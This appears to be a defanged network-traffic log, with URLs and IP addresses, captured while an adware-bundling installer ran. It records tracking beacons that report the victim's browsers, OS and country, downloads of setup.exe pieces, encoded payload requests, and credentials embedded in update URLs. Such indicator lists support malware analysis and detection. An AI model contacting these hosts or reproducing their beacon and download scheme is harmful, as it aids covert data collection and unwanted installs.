hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XOxRKBm2zlwkTetWCphNvNJH6yqhsEm5xps2Fb43eqlAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6pKb81Sa5kgtoqKD5 RG1kgWPHy8c1b6vM/D6GMrTkRypRW8qn0uD1ce90znhXYsIjgb6v7cXpPttTZPlQp8Fmjg60cE2JfaCBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0	54.230.202.158
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1422581372	54.231.9.28
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=	23.43.139.27
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLTuh9zxLe96tCUHeR8YCF3eUieKUOy0CNssIFedkeDcwU A6kiYcjN5jgwqhpV 3QaM eJWkTw6uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTxZUhvyOfrXdf8Hfeq1j1K3FZFcEueFWvAWf5kiMd Np7NekHhh5nI=	54.230.202.158
hxxp://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE	107.20.238.80
hxxp://logs.ourclientinputsrv.com/monetization.gif?event=4&ibic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1422581366&asw=0_1073750533_-2147475456_0&browser=ff,ie,de&rnd=1422581366	69.16.175.10
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=QHucCbLl /ZGgpLO6W5H3sNTnuyhzCsUUwwA54 iRFR4E7mrr1h80tKpcmBYCD2f3Wq7IsWCDz6hohMymAE8VtaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	54.230.202.13
hxxp://stats.ourclientinputsrv.com/stats.gif?action=daily&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581377&lifetime=11&rnd=3225	54.231.16.180
hxxp://logs.ourclientinputsrv.com/monetization.gif?event=3&ibic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1422581366&asw=0_1073750533_-2147475456_0&browser=ff,ie,de&rnd=1422581366	69.16.175.10
hxxp://resources.crossrider.com/system/resources/apps/65743/853130.base64?ver=1	69.16.175.42
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemVjr4IQgU6/17ym41MswgnBQC drCF7eFcz7 uAJ9xYcIp0OdaBZXvr/vhPcFBsxkAjkJywGAYoQ8 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qopuBi6/bm33q10HaaBVZzWyyyBfgdC/MPGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSgoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuYYZa5L2VdsU=	54.230.202.158
hxxp://install.sourceapp.info/fp?alpha=KGoDSTRzaGgCLCpKLGM7KS5QRDQoNhU4dQ9rQlZoL34OSXIqG3E3LCIsaT4RaXUCaEE1GG05AykeJ2AgMDcNODZPb0AjO3AzHVoiDT54RCtrawAFaj9yVD0xVgQDCyEtPkJdMHgQCjZYLy0fUmZyeQ4dSykUbU9rNWxSFzR/fCFEJDsvEBdnZDMTXGUAen0nJjt2FR85Lj5eJTFfFAdeNX8yT1w1bRcDL1wjOE1NdSd7Fk4cOEhvXSRpYTJNfXhhJgFSIj0SDWwmakobOAEpZVtSHmBXWjwzbVY0NV4CAQk+f3gDUlYkSFdgHWk4axozISJSSQpGUG5CdTBrUC80aHomHU83aElVNg0zE1EQXG0EOjAfcwQFGTdsUig1XgIIeSpdPC0rRX9bTBt+agVS	70.186.131.141
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.5660681783444934	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=obiBp3WOda WjDTOqhvSES7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoVNSQ3lQpjLdBPEhRyyBD7DFByCWgHBKYypAG YHgGRxeG5e2JE3Nzo2HdAkQAtbdCNCoXq3Dx83xXuPFOdxmQSrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5	54.230.202.158
hxxp://clients1.google.com/ocsp	173.194.113.200
hxxp://cdn.visadd.com/script/14567725608/preload.js?subid=F1Uwsmtycl1-55ab86e2-1aa0-4cd0-9974-956045006e3d	108.162.200.127
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=xY8ohDYpM j7QFMK1iR6lpgcO7f7vaYd/AcH8PricLVP XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplDwRWvE0PuWdfYWeTugkIGZ XTIrvDDxtMg0cf98KNqaOyELmY4nK6ipZmCuTjBqDplSPW87G2MuHTL U0hNxCnPCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GiVkwuPeIXKySOMfQtN1YRFb/oTUjX4tfR/IsL6qrunF Z nf6xdrvQQnhXTyBWjWbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn228eezy0VYdU5l6kGsLGUjlAO3ZfaMMISPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx343F4oagmR8wVa2aEDZbAFTl	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=2&index_in_screen=1&index_in_session=2&0.122616761355617	78.138.127.15
hxxp://download.filesfrog.com/software_files/freezip/freezip.png	212.7.199.182
hxxp://www.appshat.com/images/16x16.ico	64.233.167.121
hxxp://www.youtubeaccelerator.com/img/accelerating-videos.jpg	107.20.238.80
hxxp://dl.ourclientinputsrv.com/smt2b/all/hat/row/setup.exe_c	69.16.175.42
hxxp://www.appshat.com/home	64.233.167.121
hxxp://www.appshat.com/images/64x64.ico	64.233.167.121
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QgW8pN5r26ZQhScA1jb3TyREuwbN91 W7OXLse4BafSoipMojeRGOY2 5cMBkwSYaPIfxYrGBkkg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb25k0 z8IQ1IIKPuMdH9xkPFYS5k6/5B5fD60PayiDCQx4u3oGHN86wMVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4XyrUF6vpeaSkdoRAj2suRrqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q==	54.230.202.158
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1422581380	54.231.9.28
hxxp://stats.ourclientinputsrv.com/installer.gif?action=finished&app=65743&appver=21&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_21&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ColoColoApps&ieprofiles=1&chprofiles=na&ffprofiles=1&procstarttime=1422581366&procruntime=19&rnd=1422581385	54.231.16.180
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=aQQpsP6/AW3r A4x0AgNXcNTnuyhzCsU1lnchBmRgOB4E7mrr1h80jmXqQawsZSOUA7dl9owwhI8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjfF7ZDOsdUGBLRxO9upzM6GX1FtTkCv6XEYkL4n1Dcu54nJwzEzT2yHUh 3ZGDmdW5pZis9f nTddyS4BuUDC9Ua9iR8Lp3n3hqa6yId4a3jP358k7pbeGviLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WU8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjaezXpB4YeZy	54.230.202.158
hxxp://flex.msn.com/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js	207.46.194.8
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Vx5kiKceVrSAAWRkI6Uocf9CUHeR8YCF32aiujnEdaD2RHLN7I11j c7I0Xy20VFhZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKChr8gdm92vo7IQuZjicrqKlmYK5OMGoOmVI9bzsbYy5hhlrkvZV2xQ==	54.230.202.158
hxxp://dl.ourclientinputsrv.com/smt2b/all/hat/row/setup.exe_d	69.16.175.42
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=	93.184.220.29
hxxp://ddxz5sd9q11xc.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.230.200.249
hxxp://www.google-analytics.com/ga.js	173.194.113.193
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1422581378&SBPIDS=1
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=	93.184.220.29
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.5860080262724051	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V2Rko0jTI4S7Vw12R6ofm/Y8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC Mhrkq09y/A2uu7zQQkK33iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0Zhyw4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda	54.230.202.158
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1422581372	54.231.9.28
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V1nZT UXyB8cE8SFHLIEPsOit9OsprAChdn2Gh86QFqgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuwY2gVbwUtO/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKObSJGWd2CgPQ=	54.230.202.158
hxxp://i.sbitinjs.info/opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF1UwJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231	198.7.58.86
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbICMm3VbjJ5Co4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23	54.230.202.158
hxxp://stats.ourclientinputsrv.com/apps.gif?action=install&app=65743&appver=21&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1422581366&lifetime=0&silent=1&crtnm=ColoColoApps&procstarttime=1422581366&procruntime=20&rnd=1422581386	54.231.16.180
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1422581372	54.231.9.28
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.16973740042975754	78.138.127.15
hxxp://ocsp2.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw==	108.162.232.205
hxxp://ddxz5sd9q11xc.cloudfront.net/affiliates/filesfrog/eula.html	54.230.200.249
hxxp://www.youtubeaccelerator.com/js/jquery-1.8.3.min.js	107.20.238.80
hxxp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=lOCrbsNL2zXY n Drgf83ORCMlh3l5QDoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68LnCMwJJTkXqhQNbb34rcpqMD8Jh9T0mMdfeQRNwvtN9j/dHB7BZT3ABZGQjpShx/0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx342ns16QeGHmcg==	54.230.202.158
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.8375898049041111	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=aQQpsP6/AW3r A4x0AgNXcNTnuyhzCsU1lnchBmRgOB4E7mrr1h80jmXqQawsZSOUA7dl9owwhI8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjfF7ZDOsdUGBLRxO9upzM6GX1FtTkCv6XEYkL4n1Dcu54nJwzEzT2yFNM7iWe50KMgf1dP3VNJ83kOB3v7aTq0FvQQoYDonDPcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffFowwLb8WZbSeBt3jxB9aapkCNzBoMgw6aVrgli9aT4JAAwpIfeapc=	54.230.202.158
hxxp://www.bigspeedpro.com/webplayer/appshat/config.json	212.7.199.181
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=A3ANzFv7fWBMy1Jq1olDf9JH6yqhsEm5vLHW6X/VYPFAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6rRJV5ICPhWP 7rPtSKe/ IzxRKOyNFpG6DDk8zW/hUJwS/7uvkzjRNFIOcmDDpCEFAL52sIXt4XkathCyw/jA6hWny52hzrnjlpUfr/spfXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23	54.230.202.158
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=/Fcwh0Xd/M1iZHP23jXoQrMRgl08r6l0Go2IC1I9YLkCYZqti6uVFio96KQrvxHzFtz73aJdyQ 7OBNGMEkGUC0cTvbqczOhBcNlKj6q F5x1QZiJL1PeOb16kt4KYXNWPowBg89VjfmuzdwyvBFpOw7wxZ0rOEF7kya2DQtiCrPuJP0oXNMGUoUZ8uSwLjwK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nsYTwVLnU/n42sTQmsQPwkgwB44/hE3WY3hJO7Y2KlJohmqfz4qG /vt4TSnxe7XfOtZBqFf7bsV84h2PoRfCK6gUQMjUbAKu5ANb0gKAVdW2lrxF8GR/jrXqNtnRHDA4fqZ6AO5KFFPYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962k6MvW5qG/cSo=	54.230.203.3
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VAhTD7v1xeC4pGvADS7bOhjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ838kwZ2Lr9ocdj6afjeK5fDhR5vAG pvdOYocaijIvIVay25VRJD0bbc=	54.230.202.158
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.33088044648240255	78.138.127.15
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1422581374	54.231.9.28
hxxp://www.google-analytics.com/analytics.js	173.194.113.193
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbIQuxFFygAloQTxIUcsgQ wiZa/wAgr78fanAVHlmf vATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7BjaBVvBS0790sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo5tIkZZ3YKA9A==	54.230.202.158
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=/k6kR j50tqrESd40BFHqTtwOqvEtO32f5NUXepNpdv8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTINHH/fCjamjshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLsCmnQAndzgRhJsqiS fULSeY/e3xqcYN zjNK4UzrYRJ1a2JXaOA92w6kHnR XV4QBZGQjpShx/0JQd5HxgIXdABmFtdiJe0br0BIV93bNcKPuMdH9xkPEqLS1Wgne9fqzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqeCOGrZlPxTINqCtCGAkJBaxx AjnWvA7ssgX4HQvzDxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoKGvyB2b3a jshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLmGGWuS9lXbF	54.230.202.158
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=obiBp3WOda WjDTOqhvSES7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldgy/AIaTgB 3tjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U A==	54.230.202.158
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V2/M8jJQIzSdP2 XN2u718hQC drCF7eF njmPLTFBJTHZ0SBJrLapqEsFB7attMxqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q==	54.230.202.158
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VQy TvLH5SNftN2kzF 5WqbPiCC4paVhd7txZncMHn06ScJu8C7yBqpe/jFqE4L9XD4NyULog6KHAsvlBgzvTh6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k=	54.230.202.158
